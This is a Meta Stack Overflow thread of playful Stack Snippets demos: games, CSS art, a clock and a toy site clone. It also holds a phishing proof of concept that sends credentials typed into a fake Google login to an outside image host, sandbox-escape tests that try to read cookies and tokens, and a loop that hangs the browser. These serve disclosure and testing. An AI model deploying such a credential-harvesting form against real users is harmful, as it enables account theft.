This post is dedicated to testing out the newly announced Stack Snippets feature. Feel free to answer with your own Stack Snippets, and have some fun!
108 Answers
Detecting and Requiring Upvotes to View the Result
I'm not totally sure this will work...SE caches the API requests, so I can only update it every minute (I think). I can't test it extensively because I'm starting to run out of requests on my IP for some reason, and I can't upvote my own question. I'm not used to working with APIs, so this may not be very optimized. Please suggest improvements and report your results, I would appreciate it.
EDIT: Now you'll see something cool when you upvote.
$(document).ready(function() {
$.getJSON("https://api.stackexchange.com/2.2/questions/269754/answers/?order=desc&site=meta.stackoverflow&client_id=3519&callback=?", function (data) {
var originalScore = data.items.find(v => v.answer_id == 270116).score;
$("#postCounter span").text(originalScore);
var counter = 60;
function updateCounter() {
$("#counter span").text(counter);
counter--;
if (counter == 0) {
counter = 60;
$.getJSON("https://api.stackexchange.com/2.2/questions/269754/answers/?order=desc&site=meta.stackoverflow&client_id=3519&callback=?", function (data) {
var newScore = data.items.find(v => v.answer_id == 270116).score;
if (newScore > originalScore) {
$("#message").html("WOOHOO! You upvoted!<img src='https://i.imgur.com/B5aTato.gif' />");
} else if (newScore < originalScore) {
$("#message").text("Someone downvoted! :( Upvote!");
} else {
$("#message").text("Upvote to see the result! (nothing new)");
}
originalScore = newScore;
});
}
setTimeout(updateCounter, 1000);
};
updateCounter();
});
});
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"></script>
<div id="message">Upvote to see the result!</div>
<div id="counter">Time until next request: <span></span>
</div>
<div id="postCounter">This answer had <span></span> votes when you loaded the demo.</div>
-
5
-
9
-
21
-
8The 60 second delay really kills it. It would be nice if you could do
if($x('//*[@id="answer-270116"]/table/tbody/tr[1]/td[1]/div/a[1]')[0].className.match('vote-up-on')){ handleUpVote() }
but the sandboxing is sure to get in the way. Commented Mar 3, 2015 at 21:19 -
15This is great for when you really want that reputation! "This answer will blow your mind! Click upvote to see it!"– defaultCommented May 16, 2016 at 11:19
-
7
-
2For reference, the reward is text saying "WOOHOO! You upvoted!" and a gif of fireworks. i.imgur.com/B5aTato.gif Commented Aug 4, 2017 at 13:12
-
2@Kendra You can retract your upvote to upvote it again later. But you can only do that 30 times. Commented Dec 23, 2017 at 20:40
Huh? Not much love for CSS in the current answers? So I would share mine... designed specially for testing this feature... :)
Conclusion : It will be great if we can use Auto Prefixer, Prefix free like general plugins
//Made for Stack Overflow Code Testing
//Unicorn Inspired by http://drbl.in/kayh
//Made by Mr. Alien
/*
* Just created in a hurry, so won't refactor my CSS
* as of now, also I can drastically reduce
* the markup but I won't do it right now
*/
html, body {
height: 450px;
background: -webkit-radial-gradient(center, ellipse, #fce300 0%, #ffc700 46%, #ff7f00 100%);
background: radial-gradient(ellipse at center, #fce300 0%,#ffc700 46%,#ff7f00 100%);
}
.unicorn {
position: absolute;
left: 50%;
top: 170px;
margin-left: -250px;
}
.tail > div,
.body > div,
.leg > div,
.leg2 > div,
.leg3 > div,
.unihorn {
width: 0;
height: 0;
position: absolute;
-webkit-transform-origin: 50% 50%;
-ms-transform-origin: 50% 50%;
transform-origin: 50% 50%;
}
.tail .pone{
border-left: 30px solid transparent;
border-right: 40px solid transparent;
border-bottom: 30px solid #ffb82b;
-webkit-transform: rotate(6deg);
-ms-transform: rotate(6deg);
transform: rotate(6deg);
}
.tail .ptwo {
border-left: 40px solid transparent;
border-right: 30px solid transparent;
border-bottom: 30px solid #FD8A07;
-webkit-transform: rotate(-39deg);
-ms-transform: rotate(-39deg);
transform: rotate(-39deg);
top: 26px;
left: -30px;
}
.tail .pthree {
border-top: 30px solid transparent;
border-bottom: 30px solid transparent;
border-right: 30px solid #ffb82b;
-webkit-transform: rotate(5deg);
-ms-transform: rotate(5deg);
transform: rotate(5deg);
top: 45px;
left: -12px;
}
.tail .pfour {
top: 72px;
left: 17px;
border-bottom: 35px solid #FD8A07;
border-right: 35px solid transparent;
-webkit-transform: rotate(5deg);
-ms-transform: rotate(5deg);
transform: rotate(5deg);
}
div.body .pone {
border-top: 10px solid transparent;
border-left: 221px solid #FD8A07;
border-bottom: 60px solid transparent;
-webkit-transform: rotate(40deg);
-ms-transform: rotate(40deg);
transform: rotate(40deg);
top: 65px;
left: 45px;
}
div.body .ptwo {
border-bottom: 70px solid #ffb82b;
border-left: 90px solid transparent;
border-right: 130px solid transparent;
-webkit-transform: rotate(43deg);
-ms-transform: rotate(43deg);
transform: rotate(43deg);
top: 15px;
left: 87px;
}
div.body .pthree {
border-bottom: 100px solid #FD8A07;
border-left: 20px solid transparent;
border-right: 130px solid transparent;
-webkit-transform: rotate(71deg);
-ms-transform: rotate(71deg);
transform: rotate(71deg);
top: 15px;
left: 200px;
}
div.body .pfour {
border-bottom: 100px solid #ffb82b;
border-left: 30px solid transparent;
border-right: 130px solid transparent;
-webkit-transform: rotate(109deg);
-ms-transform: rotate(109deg);
transform: rotate(109deg);
top: 38px;
left: 246px;
}
div.body .pfive {
border-bottom: 60px solid #FD8A07;
border-right: 105px solid transparent;
left: 310px;
top: -27px;
-webkit-transform: rotate(34deg);
-ms-transform: rotate(34deg);
transform: rotate(34deg);
}
div.body .psix {
border-top: 85px solid #ffb82b;
border-left: 85px solid transparent;
left: 319px;
top: -40px;
-webkit-transform: rotate(19deg);
-ms-transform: rotate(19deg);
transform: rotate(19deg);
}
div.body .pseven {
border-bottom: 110px solid #FD8A07;
border-left: 85px solid transparent;
left: 350px;
top: -144px;
-webkit-transform: rotate(19deg);
-ms-transform: rotate(19deg);
transform: rotate(19deg);
}
div.body .peight {
border-bottom: 90px solid #ffb82b;
border-right: 120px solid transparent;
left: 425px;
top: -92px;
-webkit-transform: rotate(18deg);
-ms-transform: rotate(18deg);
transform: rotate(18deg);
}
div.body > div.eye {
background-color: #000;
top: -70px;
left: 445px;
height: 10px;
width: 10px;
border-radius: 50%;
z-index: 1;
}
div.nose {
border-bottom: 40px solid #f27d00;
border-right: 40px solid transparent;
-webkit-transform: rotate(-28deg);
-ms-transform: rotate(-28deg);
transform: rotate(-28deg);
left: 480px;
top: -15px;
}
div.extreme-left {
border-top: 115px solid transparent;
border-right: 30px solid #ffb82b;
border-bottom: 110px solid transparent;
-webkit-transform: rotate(-65deg);
-ms-transform: rotate(-65deg);
transform: rotate(-65deg);
left: 130px;
top: 4px;
}
div.leg .pone {
border-top: 120px solid transparent;
border-right: 60px solid #FD8A07;
border-bottom: 0px solid transparent;
-webkit-transform: rotate(-50deg);
-ms-transform: rotate(-50deg);
transform: rotate(-50deg);
top: 55px;
left: 45px;
}
div.leg .ptwo {
border-top: 20px solid transparent;
border-right: 30px solid #ffb82b;
border-bottom: 20px solid transparent;
top: 145px;
-webkit-transform: rotate(-24deg);
-ms-transform: rotate(-24deg);
transform: rotate(-24deg);
left: 66px;
}
div.leg .pthree {
border-top: 15px solid transparent;
border-right: 33px solid #FD8A07;
border-bottom: 20px solid transparent;
top: 164px;
-webkit-transform: rotate(34deg);
-ms-transform: rotate(34deg);
transform: rotate(34deg);
left: 63px;
}
div.leg .pfour {
border-left: 0 solid transparent;
border-right: 20px solid transparent;
border-bottom: 100px solid #ffb82b;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
top: 165px;
left: 80px;
}
div.leg .pfive {
border-bottom: 30px solid #FD8A07;
border-right: 30px solid transparent;
top: 235px;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
left: 89px;
}
div.body .extreme-right {
left: 246px;
top: 100px;
border-top: 30px solid #FD8A07;
border-left: 80px solid transparent;
border-right: 85px solid transparent;
-webkit-transform: rotate(-33deg);
-ms-transform: rotate(-33deg);
transform: rotate(-33deg);
}
div.leg2 div.pone {
border-top: 50px solid #ffb82b;
border-right: 85px solid transparent;
left: 339px;
top: 84px;
-webkit-transform: rotate(-53deg);
-ms-transform: rotate(-53deg);
transform: rotate(-53deg);
}
div.leg2 div.ptwo {
border-bottom: 20px solid #FD8A07;
border-left: 42px solid transparent;
border-right: 30px solid transparent;
-webkit-transform: rotate(62deg);
-ms-transform: rotate(62deg);
transform: rotate(62deg);
left: 328px;
top: 146px;
}
div.leg2 .pthree {
border-left: 0 solid transparent;
border-right: 20px solid transparent;
border-bottom: 100px solid #ffb82b;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
top: 154px;
left: 368px;
}
div.leg2 .pfour {
border-bottom: 30px solid #FD8A07;
border-right: 30px solid transparent;
top: 230px;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
left: 378px;
}
div.leg3 div.pone {
border-top: 50px solid transparent;
border-left: 60px solid #ef7b00;
border-bottom: 30px solid transparent;
left: 382px;
top: 60px;
-webkit-transform: rotate(6deg);
-ms-transform: rotate(6deg);
transform: rotate(6deg);
}
div.leg3 div.ptwo {
border-left: 0px solid transparent;
border-right: 30px solid transparent;
border-top: 50px solid #e87604;
left: 419px;
top: 116px;
-webkit-transform: rotate(-18deg);
-ms-transform: rotate(-18deg);
transform: rotate(-18deg);
}
div.leg3 div.pthree {
border-bottom: 30px solid #e5892d;
border-left: 13px solid transparent;
left: 411px;
top: 143px;
-webkit-transform: rotate(-17deg);
-ms-transform: rotate(-17deg);
transform: rotate(-17deg);
}
div.leg3 .pfour {
border-bottom: 30px solid #FD8A07;
border-right: 30px solid transparent;
top: 173px;
-webkit-transform: rotate(76deg);
-ms-transform: rotate(76deg);
transform: rotate(76deg);
left: 403px;
}
.unihorn {
top: -130px;
left: 446px;
border-top: 10px solid transparent;
border-left: 120px solid #FD8A07;
border-bottom: 10px solid transparent;
-webkit-transform: rotate(-36deg);
-ms-transform: rotate(-36deg);
transform: rotate(-36deg);
}
<div class="unicorn">
<div class="tail">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
</div>
<div class="body">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
<div class="pfive"></div>
<div class="psix"></div>
<div class="pseven"></div>
<div class="peight"></div>
<div class="eye"></div>
<div class="nose"></div>
<div class="extreme-left"></div>
<div class="extreme-right"></div>
</div>
<div class="leg">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
<div class="pfive"></div>
</div>
<div class="leg2">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
</div>
<div class="leg3">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
</div>
<div class="unihorn"></div>
</div>
-
52
-
103
-
13
-
5
-
1
-
1That is impressive but looked massively annoying to put in place (when looking at the HTML)– kockburnCommented Jul 11, 2019 at 8:40
Let's do a little dungeon crawling! (canvas/keyboard test)
/* set up ROT library */
ROT.DEFAULT_WIDTH = 80;
ROT.DEFAULT_HEIGHT = 16;
var display = new ROT.Display({fontSize: 12});
document.getElementById("canvasContainer").appendChild(display.getContainer());
var data, player, goal, pickaxe = false, level = 0, gold = 0;
/* function to determine if (x,y) is open or a wall */
var lightPasses = function(x, y) {
var key = x+","+y;
if (key in data) { return (data[key] !== 1); }
return false;
};
/* redraw the map; called after each step */
function redraw() {
display.drawText(0, 0, "Level "+level+", Gold "+gold);
var fov = new ROT.FOV.PreciseShadowcasting(lightPasses);
/* use ROT.js to compute visibility and draw the map */
fov.compute(player.x, player.y, 10, function(x, y, r, visibility) {
var ch = "", key = x+","+y;
if(data[key] === 0) { ch = "."; }
if(data[key] === 2) { ch = "o"; }
if(!r) { ch = pickaxe ? "#" : "@"; }
if(goal.x == x && goal.y == y) { ch = "X"; }
var bgcolor = ["#333","#AAA","#333"][data[key]];
var fgcolor = ["#FFF","#AAA","#ecff67"][data[key]];
display.draw(x, y+1, ch, fgcolor, bgcolor);
});
}
/* create a new level with walls, start point, and goal */
function createMap() {
/* clear and output help text */
level++;
display.clear();
display.drawText(0, ROT.DEFAULT_HEIGHT-2, "Use HJKL, WASD or the arrow keys to explore the dungeon and find the goal. P toggles pickaxe. Made with rot.js (https://ondras.github.io/rot.js)");
/* use ROT.js to generate a new wall dictionary */
data = {};
var freeSpaces = [];
new ROT.Map.Digger(ROT.DEFAULT_WIDTH, ROT.DEFAULT_HEIGHT-2).create(function(x, y, type) {
data[x+","+y] = type;
if(!type) { freeSpaces.push(x+","+y); }
});
/* shuffle the free spaces */
for (let i = freeSpaces.length - 1; i > 0; i--){
const j = Math.floor(Math.random() * i);
const temp = freeSpaces[i];
freeSpaces[i] = freeSpaces[j];
freeSpaces[j] = temp;
}
/* pick a start location from available free spaces */
var coords = freeSpaces[0].split(",");
player = {
x: +coords[0],
y: +coords[1]
};
/* reset pickaxe on every new level */
pickaxe = false;
/* pick a goal location from available free spaces */
coords = freeSpaces[1].split(",");
goal = {
x: +coords[0],
y: +coords[1]
};
/* every 20 blocks there's a gold */
for (let i = 2; i <= freeSpaces.length / 20; i++)
data[freeSpaces[i]] = 2;
redraw();
}
/* create the first level */
createMap();
document.addEventListener("keydown", function(e) {
var newPos = { x: player.x, y: player.y };
/* calculate new position based on step direction */
if([ROT.KEYS.VK_LEFT, ROT.KEYS.VK_H, ROT.KEYS.VK_A].indexOf(e.keyCode) != -1) { newPos.x-=1; }
if([ROT.KEYS.VK_RIGHT, ROT.KEYS.VK_L, ROT.KEYS.VK_D].indexOf(e.keyCode) != -1) { newPos.x+=1; }
if([ROT.KEYS.VK_UP, ROT.KEYS.VK_K, ROT.KEYS.VK_W].indexOf(e.keyCode) != -1) { newPos.y-=1; }
if([ROT.KEYS.VK_DOWN, ROT.KEYS.VK_J, ROT.KEYS.VK_S].indexOf(e.keyCode) != -1) { newPos.y+=1; }
/* toggle pickaxe */
if([ROT.KEYS.VK_P].indexOf(e.keyCode) != -1) { pickaxe = !pickaxe; }
var key = newPos.x+","+newPos.y;
/* if the target space is clear, move there */
if([0, 2].indexOf(data[key]) !== -1) {
gold += (data[key] === 2);
data[key] = 0;
player.x = newPos.x; player.y = newPos.y;
} else if(data[key] === 1 && pickaxe) {
/* if the target space is a wall AND the player is using the pickaxe, dig */
data[key] = 0;
player.x = newPos.x; player.y = newPos.y;
}
/* redraw the level */
redraw();
/* if we made it to the goal, make a new level */
if(player.x == goal.x && player.y == goal.y) { createMap(); }
/* Don't scroll the page if the arrow keys are pressed */
e.preventDefault();
});
<script src="https://cdn.jsdelivr.net/npm/rot-js@2/dist/rot.min.js"></script>
<div id="canvasContainer"></div>
-
146
-
6
-
13This is great. Are you supposed to be able to just blast through walls though?– j.f.Commented Aug 26, 2014 at 15:23
-
9@j.f. Pickaxes were my favorite think in Nethack (archaeologist class all the way!), but it is a bit odd that you can just blast through walls by default. I've made it a toggleable option instead! Commented Aug 26, 2014 at 15:31
-
1
-
1Fantastic! If only all of the snippets posted in the future will be this good...– xDaevaxCommented Aug 28, 2014 at 18:50
-
3Pressing UP arrow or DOWN arrow for me is causing the page to scroll up or down a line at the same time the player moves up or down.– CᴏʀʏCommented Sep 9, 2014 at 22:33
-
14You MONSTER what have you done? I haven't done anything for 2 hours. :D Commented Sep 26, 2014 at 11:14
-
11This is a little difficult to play with when your keyboard is in dvorak...– JennCommented Oct 29, 2014 at 22:26
-
5
-
-
1Know this is dead and all, but this needs a feature for holding in key for constant movement. It is annoying having to smash he keys to mvoe– Zoe - Save the data dump ModCommented Jul 17, 2017 at 14:15
-
-
-
1@iBug I wanted to say thanks (many months after the fact) for your improvements! I really like them.
:)
Commented Nov 4, 2019 at 16:49
Yet another s***ty Stack Overflow clone (WIP, feel free to contribute).
Features:
- You can ask questions (duh)
- You still cannot post answers
- Mixed spaces and tabs all rejoice
- Industry-standard jQuery selector how-to-do-it
- Version control and diffing courtesy of Stack Exchange
- Also, I have two forks: the SO one and on my editor. Syncing is a breeze!
- Some form of self-upvoting
TODO:
- Post answer
- Stylesss
- etc.
- Fulfill everyone's dream. Elect your self as a mod. Insta-close and delete hammer!
$(document).ready(function() {
$('#ask-question').click(function(e) {
e.preventDefault();
$('#question-form').removeClass('hidden');
$('#questions').addClass('hidden');
$('#question').addClass('hidden');
});
$('#cancel-question').click(function(e) {
e.preventDefault();
$('#question-form').addClass('hidden').find('input[type=reset]').click();
$('#questions').removeClass('hidden');
});
$('#question-form').submit(function(e) {
e.preventDefault();
var question = $('#questions .question.hidden').clone().removeClass('hidden');
question.find('.title').html($(this).find('input[name=title]').val());
question.find('.body').html($(this).find('textarea[name=body]').val());
question.prependTo($('#questions'));
$('#cancel-question').click();
});
$('#questions').on('click', '.question .title', function(e) {
e.preventDefault();
$('#questions').addClass('hidden');
$('#question').removeClass('hidden');
var question_item = $(this).parents('.question');
$('#question-content').find('.title').html(question_item.find('.question-summary .title').html());
$('#question-content').find('.body').html(question_item.find('.question-summary .body').html());
question_item.addClass('viewed');
});
$('#upvote-none').click(function() {
$('#question, #questions .question.viewed').addClass('upvoted').removeClass('downvoted');
});
$('#upvote-yes').click(function() {
$('#question, #questions .question.viewed').removeClass('upvoted').removeClass('downvoted');
});
$('#downvote-none').click(function() {
$('#question, #questions .question.viewed').removeClass('upvoted').addClass('downvoted');
});
$('#downvote-yes').click(function() {
$('#question, #questions .question.viewed').removeClass('upvoted').removeClass('downvoted');
});
$('#close-question').click(function(e) {
e.preventDefault();
$('#question').addClass('hidden').removeClass('upvoted downvoted');
$('#questions').removeClass('hidden');
$('#questions .question.viewed').removeClass('viewed');
});
});
body {
font-family: 'Arial';
}
.hidden {
display: none;
}
#header {
height: 100px;
}
#logo-area {
float: left; /* bah! */
width: 300px;
}
#menu {
margin-left: 300px;
padding-top: 30px;
}
#menu a {
display: inline-block;
background-color: #777;
padding: 5px 10px;
color: #fff;
text-decoration: none;
vertical-align: middle;
}
#menu a + a {
margin-left: 5px;
}
#menu a:hover,a.selected {
background-color: #FF9900;
}
#ask-question {
float: right;
}
#questions .question + .question {
margin-top: 20px;
}
#questions .question .title, #question .title {
font-weight: bold;
color: #000;
display: block;
}
#questions .question .body, #question .body {
margin-top: 10px;
}
#questions .question .votes .zero {
display: none;
}
#questions .question:not(.upvoted):not(.downvoted) .zero {
display: block;
}
#questions .question:not(.upvoted):not(.downvoted) .upvote,.downvote {
display: none;
}
#questions .question.upvoted .upvote {
display: block;
}
#questions .question.downvoted .downvote {
display: block;
}
#vote-area {
float: left;
width: 50px;
}
#question-content {
margin-left: 50px;
}
#question:not(.upvoted) #upvote-yes {
display: none;
}
#question:not(.downvoted) #downvote-yes {
display: none;
}
#question.upvoted #upvote-none {
display: none;
}
#question.downvoted #downvote-none {
display: none;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div id="header">
<div id="logo-area">
<img id="logo" src="https://i.sstatic.net/HCDT0.png">
</div>
<div id="menu">
<a href="#" id="menu-questions" class="selected">Questions</a>
<a href="#" id="menu-tags">Tags</a>
<a href="#" id="menu-users">Users</a>
<a href="#" id="menu-badges">Badges</a>
<a href="#" id="menu-unanswered">Unanswered</a>
<a id="ask-question" href="#">Ask Question</a>
</div>
</div>
<form id="question-form" class="hidden">
<div>
<label>
Title <input type="text" name="title" required>
</label>
</div>
<div>
<textarea name="body" required></textarea>
</div>
<div>
<input type="submit" value="Post Question">
<input type="reset" value="Reset" class="hidden">
<a href="#" id="cancel-question">Cancel</a>
</div>
</form>
<div id="questions">
<div class="question hidden">
<div class="votes">
<div class="zero">0 votes</div>
<div class="upvote">1 vote</div>
<div class="downvote">-1 vote</div>
</div>
<div class="question-summary">
<a href="#" class="title"></a>
<div class="body"></div>
</div>
</div>
</div>
<div id="question" class="hidden">
<a href="#" id="close-question">Back to questions</a>
<div id="vote-area">
<div><img id="upvote-none" src="https://i.sstatic.net/d3ZxT.png"></div>
<div><img id="upvote-yes" src="https://i.sstatic.net/ODYeu.png"></div>
<div><img id="downvote-none" src="https://i.sstatic.net/bWB0F.png"></div>
<div><img id="downvote-yes" src="https://i.sstatic.net/J6Lgl.png"></div>
</div>
<div id="question-content">
<div class="title"></div>
<div class="body"></div>
</div>
</div>
P.S. This is not to make fun of SO or something (well...). Just having fun, life, etc.
P.S 2 Maybe after all these stuff I throw at it we'll see some programmers flying out of demons' noses.
-
8I can't vote on this because there are no vote buttons.– BoltClock ModCommented Aug 26, 2014 at 7:42
-
@BoltClock Something got in the way of creativity, so the project is kind of delayed... Commented Aug 26, 2014 at 7:48
-
62It breaks if you try and ask a second question. Hmmm, maybe this really is an improved Stack Overflow…– Cody Gray ModCommented Aug 26, 2014 at 8:37
-
45
-
Well, I guess at this moment there are at least 18 people who oppose the very idea and point of SO. I knew that already; it's nice to see the cockroaches out with the lights on. Commented Aug 27, 2014 at 21:13
-
28Just for recursions sake there should be a run code snippet in the new questions.... Commented Sep 10, 2014 at 2:59
-
-
3
-
2Didn't see my question being downvoted, so unrealistic. eye roll Commented Aug 6, 2018 at 2:00
-
“Slack overflow“—a mix of the collaboration tools we all ‘love’!– cobrexusCommented Jun 9, 2020 at 12:45
Users don't always notice the horizontal scrollbar on code snippets, and it's even harder to notice when the good code obviously scrolls, but not as much as the scrollbar indicates. This can lead to users' credentials being stolen unintentionally.
I would highly suggest more of a warning when clicking "Run code snippet" to warn against this danger. Perhaps just a warning above/below the snippet when it's run that warns that content could be malicious?
To test:
- Click "Run code snippet" below
- Click "Log in using Google"
- Enter fake credentials and submit (credentials will be sent to http://placehold.it/ in plain text)
- Notice the image loaded is from an external server and had the credentials sent to it (and back, in the form of the image)
$("#main-warning").css("color", "#f00"); $("#provider").css("display", "block");$("#provider-google").click(function() {$("#login").css("display", "block");$("#provider").css("display", "none");});$("#login-form").submit(function(event) {$("#login").css("display", "none");$("#test").attr("src", "http://placehold.it/400x100&text=" + $("#login-email").val() + " :( " + $("#login-password").val());$("body").css("overflow", "visible");event.preventDefault();});
#main-warning {
color:#c00;
} body {overflow:hidden;}#provider, #login {display:none;position:fixed;top:0;bottom:0;left:0;right:0;z-index:100;overflow:auto;background:#fff;padding:10px;}#provider {font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;font-size:12.8px;color:#888;}#provider span {display:inline-block;background:#F9F9F9;border:1px solid #D4D4D4;padding:7px;width:258px;cursor:pointer;}#provider span img {vertical-align:middle;}#login {text-align:center;font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;}#login > div {margin:0 auto;max-width:300px;}#login > div > p {color:#333;}#login > div > p.warning {color:#f00;font-style:italic;}#login form {text-align:left;background:#eee;box-shadow:2px 2px 2px #ccc;padding:.01em 15px;width:100%;}#login input {border:1px solid #ccc;padding:10px;box-sizing:border-box;width:100%;max-width:100%;}#login button {background:#2771D8;color:#fff;border:0;padding:10px;width:100%;border-radius:3px;}
<p id="main-warning">The image below was requested from another server. It could just as easily have been a 1px by 1px image hidden like the rest of this html. This makes it very easy for someone to collect credentials of several users (especially users new to functionality). It likely won't be noticed until someone familar with functionality comes across it, or someone tries to edit it.</p>
<img id="test" src="http://placehold.it/400x100/"> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script><div id="provider"><p>Please log in to view Stack Snippet.</p><span id="provider-google"><img src="http://placehold.it/16x16/5081f1/ffffff&text=g"> Log in using Google</span></div><div id="login"><div><img src="http://placehold.it/100x40&text=Google"><p>Sign in with your Google Account</p><p class="warning">Don't type in an actual password, it will be sent in a request when submitting</p><form id="login-form" method="post" action="#"><p><input id="login-email" type="email" placeholder="Email" autofocus required></p><p><input id="login-password" type="password" placeholder="Password" required></p><p><button id="login-button" type="submit">Sign in</button></p></form></div></div>
-
32
-
4@Haney Aye. And it could obviously be expanded to the other services. I just did enough to get the point across ;)– 0b10011Commented Aug 26, 2014 at 20:37
-
3Additionally, if it matters, it could likely be possible to save state so each user only sees the message once. Either with cookies, or trying to load an image with
Image()
and checking if it fails or not (and having the server fail if user already loaded, based on cookie or IP on the server's end).– 0b10011Commented Aug 26, 2014 at 20:44 -
So how can we fight this? Is it even possible? What about onhover/click/keydown open a new tab that looks exactly like Google's homepage but it's domain is
googgle.com
orgoogIe.com
?– PacerierCommented Sep 27, 2014 at 13:57 -
1@Pacerier The second paragraph offers some suggestions for combating this. A simple "Do not share any personal information, including passwords." message would help tremendously. A "What are these snippets?" help link would be beneficial as well (even if it was just a
?
tooltip).– 0b10011Commented Sep 29, 2014 at 13:35 -
@bfrohs, Not everyone knows how the technology works, people can be easily tricked: meta.stackoverflow.com/questions/269753/…– PacerierCommented Sep 29, 2014 at 13:48
What time is it?
document.getElementsByTagName("div")[0].style.marginTop = document.height / 3 + "px";
window.setInterval(function () {
var time = "";
var now = new Date();
var hours = "" + now.getHours() + ":";
var minutes = "" + now.getMinutes() + ":";
var seconds = "" + now.getSeconds();
var part;
if (parseInt(hours) < 12) {
part = " AM";
} else {
hours = parseInt(hours);
if (hours !== 12) {
hours -= 12;
}
hours += ":";
part = " PM";
}
if (hours.length < 3) {
hours = "0" + hours;
}
if (minutes.length < 3) {
minutes = "0" + minutes;
}
if (seconds.length < 2) {
seconds = "0" + seconds;
}
time += hours;
time += minutes;
time += seconds;
time += part;
document.getElementById("holder").innerHTML = time;
}, 1000);
div {
text-align: center;
font-size: 70pt;
}
<div id="holder"></div>
-
8
-
1@Haney Thanks; it seemed like a good way to demonstrate the feature.– AstroCBCommented Aug 26, 2014 at 0:29
-
51Wow, we can close a dozen questions on SO by linking to this answer ;) Commented Aug 26, 2014 at 7:16
-
5
-
@AndrewArnold Fixed (just in time, too), but you'll have to wait another 24 hours to see it in action. Thanks.– AstroCBCommented Aug 26, 2014 at 17:00
-
-
6
-
1And here I am still hoping for a picture of Finn and Jake in the snippet output...
:(
Commented Aug 27, 2014 at 16:59 -
@dav_i When this one first popped up, I was fighting not to put that exact comment. This is a very well-written snippet, though!– KendraCommented Aug 27, 2014 at 17:35
-
Run the snippet to crash your browser.
var s=' ';while(1)s+=' ';
-
48I run it anyway and Firefox stopped responding. I closed the tab and it closed nicely. "Yeah! it didn't crash!". Than it crashed. Browsers are stupid.– KobiCommented Aug 26, 2014 at 6:00
-
8
-
2
-
ran in firefox, 30 second wait, back to normal, I was expecting the "script is unresponsive" popup but nothing– 19greg96Commented Aug 26, 2014 at 16:13
-
2
-
4wow.. ! after clicking my chrome went froze even i can't upvote the ans... Commented Sep 3, 2014 at 8:14
-
1
-
IE10 seems to be immune, in the same way as FF. Commented Apr 29, 2016 at 13:11
-
5I'm dumb. I was scrolling through to try each snippet and clicked the "run" button before reading the description. Commented Aug 4, 2017 at 13:19
-
-
Things that currently are nicely sandboxed (feel free to add things you tried that didn't work):
var TESTS = {
"Trashing the parent": function() {
parent.document.querySelector("body").innerHTML = "Much evil!";
},
"Reading cookies": function() {
var evil = document.cookie;
},
"Getting fkey": function() {
var evil = parent.StackExchange.options.user.fkey;
},
"Listen to messages in parent": function() {
parent.addEventListener( "message", function( m ) { console.log( m ); }, false );
},
"Send user to different page": function() {
window.top.location.assign( "http://example.com" );
throw new Error("window.top.location.assign doesn't work");
}
};
$(function() {
var resultTemplate = $("#resultTemplate").html();
var pass = $("#pass"), fail = $("#fail");
Object.keys(TESTS).forEach(function(testName) {
var test = TESTS[testName];
try {
test();
fail.append(errorTemplate(testName, test));
} catch (e) {
pass.append(errorTemplate(testName, test, e));
}
});
function errorTemplate(name, test, error) {
return resultTemplate.replace("{name}", name)
.replace("{code}", test.toString())
.replace("{error}", error);
}
});
code {
white-space: pre-wrap;
}
#pass dt {
color: #12AA33;
}
#pass dt::after {
content: "✓";
display: inline-block;
font-size: 1.25em;
font-weight: bold;
margin-left: .25em;
}
#pass dt + dd { display: none; }
#fail dt {
color: #AA1233;
}
#fail dt::after {
content: "✘";
display: inline-block;
font-size: 1.25em;
font-weight: bold;
margin-left: .25em;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<dl id="fail"></dl>
<h2>Looks like we are protected against the following:</h2>
<dl id="pass"></dl>
<script type="test/template" id="resultTemplate">
<dt>{name}</dt>
<dd>Running:
<pre><code>{code}</code></pre>
Resulted in the following:
<pre><code>{error}</code></pre></dd>
</script>
-
Is this meant to fail? "SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame." Commented Aug 26, 2014 at 0:33
-
10Yes, it is meant to fail. If either of those worked, this feature would have issues. Feel free to try other more complicated exploits - lots of stuff is closed down by the very nice setup (iframe in another domain, locked down so that JS doesn't even have access to cookies). Commented Aug 26, 2014 at 1:31
-
Unfortunately, I don't know any of the supported languages. Until Haskell allows this kind of programing, I'm SOL. Commented Aug 26, 2014 at 1:34
-
3@Kyllopardiun - I updated the runner to show checkboxes for security tests where the browser succeeded in blocking the "attack". Security holes will show up in red with a full stack trace, but good security measures will show up with a green checkmark next to them. Commented Aug 26, 2014 at 15:55
-
Thanks for explaining. I thought there was some issues with firefox considering the previous comments.– MansueliCommented Aug 26, 2014 at 16:00
-
Haney's answer demonstrates that code snippets cannot log users out. Commented Aug 4, 2017 at 13:39
Interesting to see how d3.js and SVG work...
I borrowed the code from a d3 tutorial to test:
http://bl.ocks.org/mbostock/1125997
var margin = {top: 40, right: 40, bottom: 40, left: 40},
width = 420 - margin.left - margin.right,
height = 180 - margin.top - margin.bottom;
var y = d3.scale.ordinal()
.domain(d3.range(25))
.rangePoints([0, height]);
var z = d3.scale.linear()
.domain([10, 0])
.range(["hsl(62,100%,90%)", "hsl(228,30%,20%)"])
.interpolate(d3.interpolateHcl);
var svg = d3.select("body").append("svg")
.attr("width", width + margin.left + margin.right)
.attr("height", height + margin.top + margin.bottom)
.append("g")
.attr("transform", "translate(" + margin.left + "," + margin.top + ")");
svg.selectAll("circle")
.data(y.domain())
